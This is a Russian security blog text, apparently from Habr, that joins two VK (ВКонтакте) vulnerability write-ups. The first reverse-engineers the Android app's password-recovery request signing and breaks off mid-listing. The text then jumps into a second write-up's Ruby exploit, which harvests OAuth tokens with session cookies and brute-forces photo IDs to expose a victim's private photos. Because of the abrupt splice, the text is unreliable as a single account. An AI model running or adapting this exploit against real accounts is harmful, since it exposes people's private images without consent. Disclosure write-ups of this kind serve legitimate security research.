Уязвимость «ВКонтакте» позволяла получить прямые ссылки на приватные фотографии. Уязвимость ВКонтакте: отправляем сообщение с кодом восстановления страницы на чужой номер
9 июля 2017 в 12:30Уязвимость ВКонтакте: отправляем сообщение с кодом восстановления страницы на чужой номер
Обычным весенним днем, занимаясь «подготовкой» к ЕГЭ по информатике, наткнулся на , позволявшей взломать все аккаунты в социальной сети, за которую выплатили 15000$. Суть уязвимости заключалась в переборе кодов восстановления на тестовом домене компании. Я подумал, а чем собственно ВКонтакте хуже? И решил попробовать провернуть подобный трюк у них. Зная, что веб-версия уже достаточно хорошо исследована, жертвой должен был стать Android клиент, а что из этого вышло можно прочитать под катом.
Смотрим трафик
Первым делом я захотел узнать, какую информацию приложение передает в сеть во время процесса восстановления страницы. Помощником в этом деле выступил Fiddler, я настроил его и Android устройство, как написано в официальной документации . Таким образом в Fiddler становятся доступны все HTTP/HTTPS запросы c устройства. Теперь, в приложении, смело выходим из аккаунта ВКонтакте и нажимаем на кнопку «Забыли пароль?». После ввода номера телефона приложение отправляет 2 HTTPS запроса. Особую ценность представляет второй, потому что именно он отвечает за отправку SMS с кодом восстановления.Особое внимание стоит обратить на некоторые параметры запроса:
phone - номер на который отправляется SMSПопытка отправить запрос изменив его не увенчалась успехом. Мешает параметр «signature», который выступает в роли «подписи», как она генерируется разберемся немного позже.
session_id - рандомно генерирующаяся сессия операции восстановления
Для последующего анализа, в приложении, введём случайный код восстановления и продолжим наблюдать за сетевой активностью. Видим следующий запрос, он проверяет правильность введенного кода. Так как код был случайным - проверка не пройдена.
Честно говоря на этом моменте мне хотелось начать перебирать коды восстановления, меняя значение параметра «code». К сожалению, и этот запрос защищен от изменения с помощью «signature». Придётся разобраться, как генерируется эта подпись.
Реверс инжиниринг: декомпиляция
Для первоначального анализа можно попробовать декомпилировать приложение ВКонтакте. Так можно получить некоторые части исходного кода на Java.
Открываем в jd-gui все полученные.jar файлы. И не долго думая, делаем поиск по строке «signature».
LocalObject3 = String.format(Locale.US, "%s%s?%s&signature=%s", new Object { d(), e(), localObject3, URLEncoder.encode(ru.mail.libverify.utils.m.b(f() + (String)localObject4 + ru.mail.libverify.utils.m.c(a.b())), "UTF-8") });
Эта библиотека сделана в лучших традициях security through obscurity, весь код надежно обфусцирован. Поэтому, через jd-gui мне удалось узнать только то, что за «signature» прячется MD5-хэш от неизвестной строки.
Реверс инжиниринг: дизассемблирование
Мне требовалось узнать, что за строка поступает в функцию ru.mail.libverify.utils.m.b(). Самый простой способ сделать это - немного изменить код приложения. Ну что ж попробуем. Для начала используем apktool , с командой:Apktool.jar d vk.apk -r
(ключ -r для игнорирования ресурсов)
Теперь, в папках с smali-кодом находим файл в котором происходит генерация MD5. В моем случае путь был такой: smali_classes3\ru\mail\libverify\utils\m.smali. Переходим к нужному методу:
Method public static b(Ljava/lang/String;)Ljava/lang/String;
.locals 8
.param p0 # Ljava/lang/String;
.annotation build Landroid/support/annotation/NonNull;
.end annotation
.end param:try_start_0
const-string/jumbo v0, "UTF-8"
invoke-virtual {p0, v0}, Ljava/lang/String;->getBytes(Ljava/lang/String;)
@app_ids =
end
def search
(@range).each do |app_id|
response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read
app = JSON.parse(response)["response"]
app_ids << app_id if standalone?(app)
end
end
private
def standalone?(app_data)
app_data["type"] == "standalone"
end
end
Можно было еще отбирать приложения по количеству пользователей, дабы еще больше ускорить дальнейший перебор:
Но решил с этим не заморачиваться.
Ок, приложения найдены, теперь им нужно дать разрешение к данным нашего пользователя и получить токены. Для авторизации пришлось использовать механизм Implicit Flow. Пришлось парсить урл авторизации из диалога OAuth и после редиректа вытаскивать токен. Для работы данного класса нужны куки p,l (login.vk.com) и remixsid (vk.com):
Class Authenticator
attr_reader:access_tokens
def initialize(cookie_header)
@cookies = { "Cookie" => cookie_header }
@access_tokens =
end
def authorize_apps(apps)
apps.each do |app_id|
auth_url = extract_auth_url_from(oauth_page(app_id))
redirect_url = open(auth_url, @cookies).base_uri.to_s
access_tokens << extract_token_from(redirect_url)
end
end
private
def extract_auth_url_from(oauth_page_html)
Nokogiri::HTML(oauth_page_html).css("form").attr("action").value
end
def extract_token_from(url)
URI(url).fragment
end
def oauth_page(app_id)
open(oauth_page_url(app_id), @cookies).read
end
def oauth_page_url(app_id)
"https://oauth.vk.com/authorize?" +
"client_id=#{app_id}&" +
"response_type=token&" +
"display=mobile&" +
"scope=474367"
end
end
Сколько приложений найдено, столько и параллельных запросов. Для распараллеливания всего этого дела было решено использовать гем Typhoeus , который отлично зарекомендовал себя в других задачах. Получился такой вот небольшой брутфорсер:
Class PhotosBruteforcer
PHOTOS_ID_BY_PERIOD = {
"today" => 366300000..366500000,
"yesterday" => 366050000..366300000,
"current_month" => 365000000..366500000,
"last_month" => 360000000..365000000,
"current_year" => 350000000..366500000,
"last_year" => 320000000..350000000
}
def initialize(params)
@victim_id = params[:victim_id]
@period = PHOTOS_ID_BY_PERIOD]
end
def run(tokens)
hydra = Typhoeus::Hydra.new
tokensIterator = 0
(@period).step(25) do |photo_id|
url = "https://api.vk.com/method/execute?access_token=#{tokens}&code=#{vkscript(photo_id)}"
encoded_url = URI.escape(url).gsub("+", "%2B").delete("\n")
tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1
hydra.queue Typhoeus::Request.new encoded_url
hydra.run if tokensIterator.zero?
end
hydra.run unless hydra.queued_requests.count.zero?
end
private
def vkscript(photo_id)
<<-VKScript
var start = #{photo_id};
var end = #{photo_id + 25};
var link = "http://vk.com/photo#{@victim_id}" + "_";
while(start != end) {
API.fave.addLink({ "link": link + start });
start = start + 1;
};
return start;
VKScript
end
end
Чтобы ещё больше ускорить брутфорс, была попытка избавиться от ненужного тела в ответе, но на HEAD
запрос сервер «Вконтакте» возвращает ошибку 501 Not implemented
.
Окончательная версия скрипта выглядит так:
Require "nokogiri"
require "open-uri"
require "typhoeus"
require "json"
require "./standalone_apps_finder"
require "./photos_bruteforcer"
require "./authenticator"
bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, period: ARGV)
apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500)
apps_finder.search
# p,l - cookies from login.vk.com
# remixsid - cookie from vk.com
authenticator = Authenticator.new("p=;" +
"l=;" +
"remixsid=;")
authenticator.authorize_apps(apps_finder.app_ids)
bruteforcer.run(authenticator.access_tokens)
После отработки программы в закладках были все фотографии пользователя за заданный период. Оставалось только зайти в мобильную версию «Вконтакте», открыть консоль браузера, вытащить прямые ссылки и наслаждаться фотографиями в их оригинальном размере.
Итоги
В целом, всё зависит от вашего интернет соединения и скорости прокси серверов, латенси серверов «Вконтакте», мощности процессора и множества других факторов. Опробовав скрипт выше на своем аккаунте, получил такие вот цифры (без учета времени, потраченного на получение токенов):В таблице показано среднее время, необходимое для того, чтобы перепробовать id фотографий за определенный период. Я уверен, всё это можно было ускорить раз так в 10-20. Например, в скрипте брутфорса сделать одну большую очередь из всех запросов и нормальную синхронизацию между ними, т.к. в моей реализации один запрос с timeout будет тормозить весь процесс. Да и вообще, можно было просто купить парочку инстансов на EC2, и за часик получить все фотографии какого угодно пользователя. Но я уже хотел спать.
Да и вообще, не важно, сколько времени злоумышленник на это потратит, 5 часов или же целый день, ведь так или иначе ссылки на приватные изображения он добудет. Возможность железно получить доступ к приватной информации за конечное время – и есть главная угроза, которую несёт данная уязвимость.